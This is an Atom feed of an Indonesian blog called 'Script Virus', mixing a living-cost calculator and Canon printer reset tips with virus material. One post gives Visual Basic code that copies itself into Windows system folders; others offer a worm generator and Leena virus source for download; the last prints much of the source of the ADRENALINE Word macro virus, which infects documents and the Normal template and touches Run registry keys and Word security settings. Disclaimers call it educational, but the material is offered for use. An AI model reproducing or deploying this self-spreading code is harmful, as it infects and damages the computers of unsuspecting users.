<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8776530796533341767</id><updated>2011-07-27T20:06:40.400+07:00</updated><category term='Aplikasi'/><category term='Visual Basic'/><category term='Virus Source'/><category term='Tips Komputer'/><category term='Macro Viruses'/><category term='Virus Info'/><title type='text'>Script Virus</title><subtitle type='html'>You have to agree to take full responsability of any damage caused by the sources that you could create, this site are just for learning.
This site and  the files created are for educational  purpose only.
You have to agree  that, Author is not responsable for any damage caused by the source that you are going to create.

Dont be stupid and use your head when studying programs made from this site. Use common sense and everything will be ok.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://scriptvirus.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8776530796533341767/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://scriptvirus.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>sunrise</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_tb_BCZ1G0Gw/TJTCniKXjZI/AAAAAAAAAJI/_9_vktN0HqI/S220/0808-0710-1117-1754.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>16</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8776530796533341767.post-3173471608960324557</id><published>2010-10-09T14:38:00.002+07:00</published><updated>2010-10-09T15:02:13.315+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Visual Basic'/><title type='text'>Perkiraan biaya hidup</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_tb_BCZ1G0Gw/TLAbwP-RdsI/AAAAAAAAALE/-lemN86LHtY/s1600/ebh.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="311" src="http://4.bp.blogspot.com/_tb_BCZ1G0Gw/TLAbwP-RdsI/AAAAAAAAALE/-lemN86LHtY/s320/ebh.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;Di posting kali ini, ane pengen ngasi program untuk memperkirakan biaya hidup perbulannya, dan sisa uang yang dapat ditabung. Software ini terinspirasi saat ane ketrima kerja di luar Jawa, tepatnya di riau. Kebayang kan biaya hidup disana, so pasti bingung, minta saran sana-sini, googling sana-sini, sambil ketik kalkulator, n mikir-mikir, wah, nyampe gak ya dengan gaji segini hidup disana, jauh dari rumah, pacar, dll..&lt;span class="fullpost"&gt; &lt;br /&gt;Yap akhirnya buka deh lembar kerja visual basic utak atik n jadilah ne program dalam waktu 42 menit. So, klo banyak kekurangan ya maaf ini sebenarnya buat pribadi bro, tapi ya, sapa tau ada yang butuh. Program ini ane namain Estimasi Biaya Hidup, ya namanya estimasi, perkiraan gitu loh, jadi ya.. se jadi-jadinya.. hehe... sangat bisa berbeda dengan apa yang akan terjadi di lapangan..  so klo mau programnya, silakan&lt;a href="http://www.ziddu.com/downloadlink/12005792/BiayaHidup.exe.html"&gt;download&lt;/a&gt;.. &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8776530796533341767-3173471608960324557?l=scriptvirus.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scriptvirus.blogspot.com/feeds/3173471608960324557/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://scriptvirus.blogspot.com/2010/10/perkiraan-biaya-hidup.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8776530796533341767/posts/default/3173471608960324557'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8776530796533341767/posts/default/3173471608960324557'/><link rel='alternate' type='text/html' href='http://scriptvirus.blogspot.com/2010/10/perkiraan-biaya-hidup.html' title='Perkiraan biaya hidup'/><author><name>sunrise</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_tb_BCZ1G0Gw/TJTCniKXjZI/AAAAAAAAAJI/_9_vktN0HqI/S220/0808-0710-1117-1754.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_tb_BCZ1G0Gw/TLAbwP-RdsI/AAAAAAAAALE/-lemN86LHtY/s72-c/ebh.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8776530796533341767.post-7748284139593663233</id><published>2010-09-18T21:34:00.001+07:00</published><updated>2010-09-18T21:45:36.021+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Visual Basic'/><title type='text'>Tutorial Visual Basic Virus</title><content type='html'>Setiap virus memiliki cara kerja yang unik dalam melakukan tugas besarnya sebagai program perusak, atau program jahat. Jika kita tanpa sengaja menjalankan sebuah virus, maka virus tersebut akan mulai masuk ke sistem komputer kita, mengkopi dirinya, merubah registry, bahkan yang lebih parah lagi menginfeksi file-file penting, dokumen, program, maupun gambar lagu dan bla..bla..bla...&lt;br /&gt;&lt;br /&gt;Ada beberapa langkah yang dilakukan oleh sebuah virus, secara garis besar langkah tersebut adalah :&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt; &lt;br /&gt;1. Infeksi system&lt;br /&gt;2. Penggandaan diri&lt;br /&gt;3. Seting registry&lt;br /&gt;4. Pengaktifan file virus pada system&lt;br /&gt;5. Penyebaran&lt;br /&gt;6. Serangan / perlindungan pada virus tersebut.&lt;br /&gt;&lt;br /&gt;Wow...!! canggih juga ya pembuat virus itu?? semua langkah itu dilakukan sesuka hati sang programmer, baik tingkat serangan, metode penyebaran, maupun proses infeksi yang dilakukan, semua dilakukan secara terjadwal dan otomatis.&lt;br /&gt;&lt;br /&gt;Bahasa pemrograman yang paling mudah untuk membuat virus / worm adalah visual basic disingkat VB, dimana VB merupakan buatan microsoft, sehingga memiliki banyak fungsi dan tools yang ada didalamnya. oke, langsung saja kita buat sample virus sederhana dari langkah-langkah proses infeksi virus.&lt;br /&gt;&lt;br /&gt;1. Infeksi system&lt;br /&gt;&lt;br /&gt;Dim lokasi As String&lt;br /&gt;Dim namafile As String&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;&lt;br /&gt;With App&lt;br /&gt;lokasi = .Path &amp; "\"&lt;br /&gt;namafile = .EXEName &amp; ".exe"&lt;br /&gt;End With&lt;br /&gt;&lt;br /&gt;FileCopy lokasi &amp; namafile, "C:\virus.exe"&lt;br /&gt;FileCopy lokasi &amp; namafile, "C:\Windows\virus.com"&lt;br /&gt;FileCopy lokasi &amp; namafile, "C:\WIndows\virus.pif"&lt;br /&gt;FileCopy lokasi &amp; namafile, "C:\Windows\System32\virus.scr"&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;hoammm.............. ngantuk.............. terusin besok lagi ah....&lt;br /&gt;&lt;br /&gt;Yup;;; sampai jumpa pada posting berikutnya....&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8776530796533341767-7748284139593663233?l=scriptvirus.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scriptvirus.blogspot.com/feeds/7748284139593663233/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://scriptvirus.blogspot.com/2010/09/tutorial-visual-basic-virus.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8776530796533341767/posts/default/7748284139593663233'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8776530796533341767/posts/default/7748284139593663233'/><link rel='alternate' type='text/html' href='http://scriptvirus.blogspot.com/2010/09/tutorial-visual-basic-virus.html' title='Tutorial Visual Basic Virus'/><author><name>sunrise</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_tb_BCZ1G0Gw/TJTCniKXjZI/AAAAAAAAAJI/_9_vktN0HqI/S220/0808-0710-1117-1754.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8776530796533341767.post-7339548659441375651</id><published>2010-05-01T20:20:00.001+07:00</published><updated>2010-09-18T21:56:47.987+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Aplikasi'/><category scheme='http://www.blogger.com/atom/ns#' term='Virus Source'/><title type='text'>VBWG Virus Open Source</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_tb_BCZ1G0Gw/TJNVmh5RVRI/AAAAAAAAAIo/4OxLmCHJBvI/s1600/vbwg.JPG"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 238px; height: 184px;" src="http://1.bp.blogspot.com/_tb_BCZ1G0Gw/TJNVmh5RVRI/AAAAAAAAAIo/4OxLmCHJBvI/s320/vbwg.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5517848088880960786" /&gt;&lt;/a&gt;&lt;br /&gt;Ini, satu lagi cara instan membuat virus..&lt;br /&gt;Kali ini, aku mau kenalin VBWG (visual Basic Worm Generator)versi 2.&lt;br /&gt;Visual Basic Worm Generator adalah sebuah tools yang berfungsi untuk membuat code virus dengan bahasa visual basic. Untuk menggunakannya kamu harus memiliki VB6 yang terinstall dikomputermu.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;Setelah extract selesai, silakan jalankan VBWG-nya. Di tengah perjalanan, nanti anda akan menemukan konfirmasi untuk menggunakan VBWG. Klik “Yes” untuk melanjutkan penggunaan program atau “No” untuk keluar. Klik Yes. Setelah konfirmasi itu, maka akan muncul tampilan awal VBWG.&lt;br /&gt;&lt;br /&gt;Isi form data yang perlu, dan click 'create virus'. virus anda akan ada di sebuah folder, dan pastikan anda punya vb6 program.&lt;br /&gt;&lt;br /&gt;&lt;blink&gt;&lt;a style="color: rgb(255, 0, 0);"&gt;&lt;b&gt;Peringatan!!&lt;/b&gt;&lt;/a&gt;&lt;/blink&gt; segala tindakan penggunaan kode sumber ini diluar tanggung jawab penulis, saya cuman berbagi ilmu, dan tidak akan bertanggung jawab dengan kerusakan yang mungkin disebabkan oleh penggunaan kode ini.&lt;br&gt;&lt;br /&gt;&lt;br /&gt;Download VBWG 2 &lt;a target="sunrise" href="http://www.ziddu.com/download/11711498/VBWG.zip.html"&gt;Di sini.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Enjoy.... dan selamat berkarya... :)&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8776530796533341767-7339548659441375651?l=scriptvirus.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scriptvirus.blogspot.com/feeds/7339548659441375651/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://scriptvirus.blogspot.com/2009/05/vbwg-virus-open-source.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8776530796533341767/posts/default/7339548659441375651'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8776530796533341767/posts/default/7339548659441375651'/><link rel='alternate' type='text/html' href='http://scriptvirus.blogspot.com/2009/05/vbwg-virus-open-source.html' title='VBWG Virus Open Source'/><author><name>sunrise</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_tb_BCZ1G0Gw/TJTCniKXjZI/AAAAAAAAAJI/_9_vktN0HqI/S220/0808-0710-1117-1754.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_tb_BCZ1G0Gw/TJNVmh5RVRI/AAAAAAAAAIo/4OxLmCHJBvI/s72-c/vbwg.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8776530796533341767.post-2948817707901742445</id><published>2010-01-01T08:00:00.003+07:00</published><updated>2010-09-20T18:40:07.761+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Virus Source'/><title type='text'>Leena Virus Source Code</title><content type='html'>&lt;div style="text-align: justify;"&gt;VB application is even less used but no one if we learn about VB. as well as viruses that use this programming language. one of them is a virus leena. leena virus appeared in August 2006, now post this time I will give you the source code virus leena.&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;download the source &lt;a target="sunrise" href="http://www.ziddu.com/download/11711687/LEENA.A_JULI_2006.zip.html"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;blink&gt;&lt;a style="color: rgb(255, 0, 0);"&gt;&lt;b&gt;Peringatan!!&lt;/b&gt;&lt;/a&gt;&lt;/blink&gt; segala tindakan penggunaan kode sumber ini diluar tanggung jawab penulis, saya cuman berbagi ilmu, dan tidak akan bertanggung jawab dengan kerusakan yang mungkin disebabkan oleh penggunaan kode ini.&lt;br /&gt;enjoy.... dan selamat menikmati.&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8776530796533341767-2948817707901742445?l=scriptvirus.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scriptvirus.blogspot.com/feeds/2948817707901742445/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://scriptvirus.blogspot.com/2009/01/leena-virus-source-code_27.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8776530796533341767/posts/default/2948817707901742445'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8776530796533341767/posts/default/2948817707901742445'/><link rel='alternate' type='text/html' href='http://scriptvirus.blogspot.com/2009/01/leena-virus-source-code_27.html' title='Leena Virus Source Code'/><author><name>sunrise</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_tb_BCZ1G0Gw/TJTCniKXjZI/AAAAAAAAAJI/_9_vktN0HqI/S220/0808-0710-1117-1754.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8776530796533341767.post-8043863522019781794</id><published>2009-09-18T16:22:00.000+07:00</published><updated>2010-09-18T20:33:31.696+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tips Komputer'/><title type='text'>Reset Printer Canon Dengan Software</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_tb_BCZ1G0Gw/TJLPpO6SiRI/AAAAAAAAAHI/irDHQokWQHc/s1600/canon_pixma_ip1700_printer.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 286px; height: 216px;" src="http://3.bp.blogspot.com/_tb_BCZ1G0Gw/TJLPpO6SiRI/AAAAAAAAAHI/irDHQokWQHc/s320/canon_pixma_ip1700_printer.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5517700800766445842" /&gt;&lt;/a&gt;&lt;br /&gt;Blinking, Indikator Kedap-kedip ketika Printer dinyalakan, biasanya penyakit ini melanda Canon iP1200, iP1300, iP1600, iP1700, i255. Solusi Ringan, maksudnya solusi ini harus anda lakukan setiap kali anda menyalakan printer, sebab langkah ini hanya bersifat sementara. Ketika printer anda terputus dari arus listrik, maka blinking akan kembali muncul. Tapi, nggak ada salahnya ada lakukan langkah ini, bila anda belum familiar dengan cara-cara mereset printer menggunakan software.&lt;br /&gt;&lt;br /&gt;* Lepaskan kabel power dari printer anda.&lt;br /&gt;* Tekan terus tombol Power, sambil anda memasang kembali kabel power.&lt;br /&gt;* Indikator power akan kelihatan  menyala berwarna kuning.&lt;br /&gt;* Lepaskan tombol power, ketika anda selesai memasang kabel power.&lt;br /&gt;* Kemudian tekan lagi tombol power, untuk menyalakan printer anda.&lt;br /&gt;&lt;br /&gt;Dipastikan printer anda tidak blinking lagi. Namun ketika printer anda terputus dari arus listrik, maka blinking ini akan muncul lagi, nah agar permanen maka diperlukan tahap Kedua (Reset Software) agar Permanen. Begini caranya:&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;Tapi sebelumnya silakan download softwarenya &lt;a target="sunrise" href="http://www.ziddu.com/downloadlink/11723365/reseter.zip"&gt;di sini&lt;/a&gt; ya, caranya amat mudah.&lt;br /&gt;&lt;br /&gt;1. Pastikan attribut semua file bebas dari Read Only.&lt;br /&gt;2. Jalankan GeneralTool.exe (GeneralTool iP1300 dan iP1700)&lt;br /&gt;3. Pada USB Port pilih Port printer anda.&lt;br /&gt;4. Klik tombol Lock Release&lt;br /&gt;5. Pilih (centang) EEPROM CLEAR&lt;br /&gt;6. Sediakan kertas kosong untuk print. Lalu Klik tombol Test Pattern 1&lt;br /&gt;7. Selesai Printer IP1300 dan IP1700 anda normal kembali.&lt;br /&gt;&lt;br /&gt;Setelah itu ada cara untuk Reset Ink Tank Full Error Canon IP1300 dan IP1700, &lt;br /&gt;Tahap Pertama (Reset Hardware)&lt;br /&gt;&lt;br /&gt;Hardware&lt;br /&gt;1. Matikan printer, lalu cabut kabel power.&lt;br /&gt;2. Tekan dan tahan tombol Power (gunakan jari telunjuk untuk menahan tombol power).&lt;br /&gt;3. Pasang kembali kabel Power.&lt;br /&gt;4. Gunakan jari tengah untuk menekan tombol Resume sebanyak 2 kali.&lt;br /&gt;5. Lepaskan jari telunjuk anda dari tombol Power.&lt;br /&gt;6. Anda telah menyelesaikan tahap pertama untuk reset Ink Tank Full Error (lampu power berkedip-kedip).&lt;br /&gt;&lt;br /&gt;Tahap Kedua (Reset Software) agar Permanen&lt;br /&gt;&lt;br /&gt;1. Download files &lt;a target="sunrise" href="http://www.ziddu.com/downloadlink/11723366/tool.zip"&gt;di sini.&lt;/a&gt;&lt;br /&gt;2. Ekstrak&lt;br /&gt;3. Pastikan attribut semua file bebas dari Read Only.&lt;br /&gt;4. Jalankan GeneralTool.exe&lt;br /&gt;&lt;br /&gt;Langkah-langkahnya :&lt;br /&gt;&lt;br /&gt;5. Pada USB Port pilih Port printer anda.&lt;br /&gt;6. Klik tombol Lock Release&lt;br /&gt;7. Pilih (centang) EEPROM CLEAR&lt;br /&gt;8. Sediakan kertas kosong untuk print. Lalu Klik tombol Test Pattern 1&lt;br /&gt;9. Selesai Printer IP1300 dan IP1700 anda normal kembali.&lt;br /&gt;&lt;br /&gt;Semoga bemanfaat ya...&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8776530796533341767-8043863522019781794?l=scriptvirus.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scriptvirus.blogspot.com/feeds/8043863522019781794/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://scriptvirus.blogspot.com/2010/09/reset-printer-canon-dengan-software.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8776530796533341767/posts/default/8043863522019781794'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8776530796533341767/posts/default/8043863522019781794'/><link rel='alternate' type='text/html' href='http://scriptvirus.blogspot.com/2010/09/reset-printer-canon-dengan-software.html' title='Reset Printer Canon Dengan Software'/><author><name>sunrise</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://4.bp.blogspot.com/_tb_BCZ1G0Gw/TJTCniKXjZI/AAAAAAAAAJI/_9_vktN0HqI/S220/0808-0710-1117-1754.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_tb_BCZ1G0Gw/TJLPpO6SiRI/AAAAAAAAAHI/irDHQokWQHc/s72-c/canon_pixma_ip1700_printer.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8776530796533341767.post-3154154085045344779</id><published>2009-03-26T12:24:00.005+07:00</published><updated>2009-03-26T12:36:37.438+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Macro Viruses'/><category scheme='http://www.blogger.com/atom/ns#' term='Virus Source'/><title type='text'>ADRENALINE Macro Virus</title><content type='html'>Satu lagi virus macro kreasi anak indonesia..&lt;br /&gt;Macro ini menyerang dokumen MS Word versi 97 keatas..&lt;br /&gt;&lt;br /&gt;berikut adalah skript virus tersebut..&lt;br /&gt;&lt;br /&gt;'I-Macro-AnDReNaLinE.A Bandung, Indonesian&lt;br /&gt;'@Copyright 2002 By Dhie&lt;br /&gt;'Macro Included Microsoft&lt;br /&gt;'For Metal Music only&lt;br /&gt;&lt;br /&gt;'               H A E Z A T S U             '&lt;br /&gt;'                 featuring:                '&lt;br /&gt;'               D E F T O N E S             '&lt;br /&gt;'                    with                   '&lt;br /&gt;'            A N D R E N A L I N E          ' &lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;  '|",",",",",",",",",",",",",",",",",",",",",",",",&lt;br /&gt;  '|----------------------------------------------|'&lt;br /&gt;  '|          FROM SOMEONE WHO BE INCLUDED        |'&lt;br /&gt;  '|   THE NEW UNIVERCITY IN BANDUNG (AIKPL-NKP)  |'&lt;br /&gt;  '|                 LICENSED TO:                 |'&lt;br /&gt;  '|           ALL METALER IN THE WORLD           |'&lt;br /&gt;  '|----------------------------------------------|'&lt;br /&gt;  '|",",",",",",",",",",",",",",",",",",",",",",",",&lt;br /&gt;&lt;br /&gt;Public Const MyWorm = "AnDReNaLinE", _&lt;br /&gt;                Zoro = "'Thinking about it...", _&lt;br /&gt;            Original = "Microsoft Word", _&lt;br /&gt;          OriginalVB = "Microsoft Visual Basic", _&lt;br /&gt;              MyName = "Deftones", _&lt;br /&gt;              ViriiX = "\Installer", _&lt;br /&gt;              Special = "AnDReNaLinE", _&lt;br /&gt;              Top32 = "\Owsclrt.dll", _&lt;br /&gt;              Tulalit = "\{00000409-78E1-11D2-B60F-0020031983C998E7}", _&lt;br /&gt;               Mistik = "\{00000409-78E1-11D2-B60F-00203100A3C998E7}", _&lt;br /&gt;              Endog = "\Installer", _&lt;br /&gt;              Kritis = "C:\con\con", _&lt;br /&gt;              Kode1 = "Private Sub Document_Open(): On Error Resume Next: WordBasic.DisableAutoMacros Flase: GetNorMalDocument: WordBasic.DisableAutoMacros True: End Sub" &amp; vbCrLf &amp; _&lt;br /&gt;                      "Private Sub Document_Close(): On Error Resume Next: WordBasic.DisableAutoMacros Flase: GetNorMalDocument: WordBasic.DisableAutoMacros True: End Sub" &amp; vbCrLf &amp; _&lt;br /&gt;                      "Private Sub Document_New(): On Error Resume Next: WordBasic.DisableAutoMacros Flase: GetNorMalDocument: WordBasic.DisableAutoMacros True: End Sub", _&lt;br /&gt;              Modify1 = "\Microsoft Worse", _&lt;br /&gt;              Modify2 = "\Microsoft\Templates"&lt;br /&gt;              Public Const Modify3 = "\Microsoft\Templates\StartUp", _&lt;br /&gt;              Kode2 = "DaMn, FoR SuCKs vIRiI ", _&lt;br /&gt;            Puas = "YoU haVE bEEn InfECtEd bY ", _&lt;br /&gt;            Puas1 = "aPpLiCaTioN wiLL bE QuIt nOW.", _&lt;br /&gt;            Puas3 = "wE aRE ReAdY tO dIe, sEE YoU LaTeR aGAiN...!"&lt;br /&gt;            Public Const Kode6 = "ThIs cOmPuTeR pRogRaM Is pRoTEctEd." &amp; vbCrLf &amp; vbCrLf &amp; _&lt;br /&gt;                                 "dOn'T mOdIfY aLL bE eXiSt ThE FaCiLity." &amp; vbCrLf &amp; _&lt;br /&gt;                                 "ThE CrImInaL dEsCribed tHiS sECuRiTiES oN pRoGraM."&lt;br /&gt;            Public Const V00G = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", _&lt;br /&gt;                         V00H = "HKEY_CURRENT_USER\Control Panel\International", _&lt;br /&gt;                         V00I = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", _&lt;br /&gt;                         V00J = "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", _&lt;br /&gt;                         V00L = "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", _&lt;br /&gt;                         V00K = "BrOoKlYn, BaNdUnG inDo...", _&lt;br /&gt;                         V009ATC = "I think you shouldn't have glorified", _&lt;br /&gt;                         DamnYouA = "CHino Moreno", _&lt;br /&gt;                         DLLib = "\Riched.dot", _&lt;br /&gt;                         DLLPath = "\TASKS32", _&lt;br /&gt;                         Hook = "C:\autoexec.bat", _&lt;br /&gt;                         Hack = "Normal.dot", _&lt;br /&gt;                         msgMy = "YoU aRE sERiOuS dOinG...!" &amp; vbCrLf &amp; _&lt;br /&gt;                                 "dOn'T DisTUrB mY aPpLiCaTioN." &amp; vbCrLf &amp; _&lt;br /&gt;                                 "YoU dO nOT oPEn mY sECuRiTiES." &amp; vbCrLf &amp; _&lt;br /&gt;                                 "" &amp; vbCrLf &amp; _&lt;br /&gt;                                 "YoU sTiLL naUgHtY!" &amp; vbCrLf &amp; _&lt;br /&gt;                                 "iF YoU tRiEd tHiS sECuRiTiES, YoU wiLL dIE!."&lt;br /&gt;&lt;br /&gt;Public Aya As Boolean&lt;br /&gt;Public C00NXVB  As Integer&lt;br /&gt;Public Spread As Boolean&lt;br /&gt;Public Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long&lt;br /&gt;Public Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long&lt;br /&gt;Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long&lt;br /&gt;Function Hangat(): On Error Resume Next: MsgBox MsgVb, 48: End Function&lt;br /&gt;Function CheckNormal(Obj As Object) As Boolean&lt;br /&gt;On Error Resume Next&lt;br /&gt;Dim Tmp&lt;br /&gt;Set Tmp = Obj.VBProject.VBComponents&lt;br /&gt;If Tmp.Count &lt;&gt; 1 Then&lt;br /&gt;        If Obj.Item(2).Name &lt;&gt; MyWorm Then&lt;br /&gt;            CheckNormal = True&lt;br /&gt;        End If&lt;br /&gt;        End If&lt;br /&gt;If Tmp.Count = 1 Then CheckNormal = False&lt;br /&gt;End Function&lt;br /&gt;Function CopyMacroNormal(SourceM As Object, DestinationM As Object)&lt;br /&gt;On Error Resume Next&lt;br /&gt;Dim l001, FF00, H001, C001, C001A, C001B, C001C&lt;br /&gt;Dim l000, FF01, H000, C000, C000A, C000B, C000C&lt;br /&gt;Set l001 = SourceM&lt;br /&gt;Set FF00 = l001.VBProject&lt;br /&gt;Set H001 = FF00.VBComponents&lt;br /&gt;Set C001 = H001.Item(1).CodeModule&lt;br /&gt;Set C001A = H001.Item(2).CodeModule&lt;br /&gt;C001B = C001A.Lines(1, C001A.CountOfLines)&lt;br /&gt;Set l000 = DestinationM&lt;br /&gt;Set FF01 = l000.VBProject&lt;br /&gt;Set H000 = FF01.VBComponents&lt;br /&gt;Set C000 = H000.Item(1).CodeModule&lt;br /&gt;C001C = C000.Lines(1, 1)&lt;br /&gt;If H000.Item(1).Name &lt;&gt; MyName Then&lt;br /&gt;    If C001C &lt;&gt; Zoro Then&lt;br /&gt;        C000.DeleteLines 1, C000.CountOfLines&lt;br /&gt;        C000.AddFromString Zoro &amp; vbCrLf &amp; Kode1&lt;br /&gt;     End If&lt;br /&gt;        H000.Item(1).Name = MyName&lt;br /&gt;End If&lt;br /&gt;&lt;br /&gt;If H000.Count &lt;&gt; 1 Then&lt;br /&gt;        If H000.Item(2).Name &lt;&gt; MyWorm Then&lt;br /&gt;       Kena H000.Item(2).Name&lt;br /&gt;        Do&lt;br /&gt;            H000.Remove H000.Item(2)&lt;br /&gt;            DoEvents&lt;br /&gt;            Loop Until H000.Count = 1&lt;br /&gt;        End If&lt;br /&gt;    End If&lt;br /&gt;&lt;br /&gt;If H000.Count = 1 Then&lt;br /&gt;        H000.Add 1&lt;br /&gt;    Set C000A = H000.Item(2).CodeModule&lt;br /&gt;    C000B = C000A.Lines(1, C000A.CountOfLines)&lt;br /&gt;    FF01.VBComponents(2).Name = MyWorm&lt;br /&gt;        C000A.AddFromString C001B&lt;br /&gt;    End If&lt;br /&gt;    End Function&lt;br /&gt;Sub GetNorMalDocument()&lt;br /&gt;On Error Resume Next&lt;br /&gt;Dim D As Object, N As Object&lt;br /&gt;Set D = ActiveDocument&lt;br /&gt;Set N = NormalTemplate&lt;br /&gt;If CheckNormal(N) = True Then&lt;br /&gt;CopyMacroNormal N, D&lt;br /&gt;If InStr(1, ActiveDocument.FullName, "\", vbTextCompare) &lt;&gt; 0 Then ActiveDocument.Save&lt;br /&gt;End If&lt;br /&gt;If CheckNormal(D) = True Then&lt;br /&gt;CopyMacroNormal D, N&lt;br 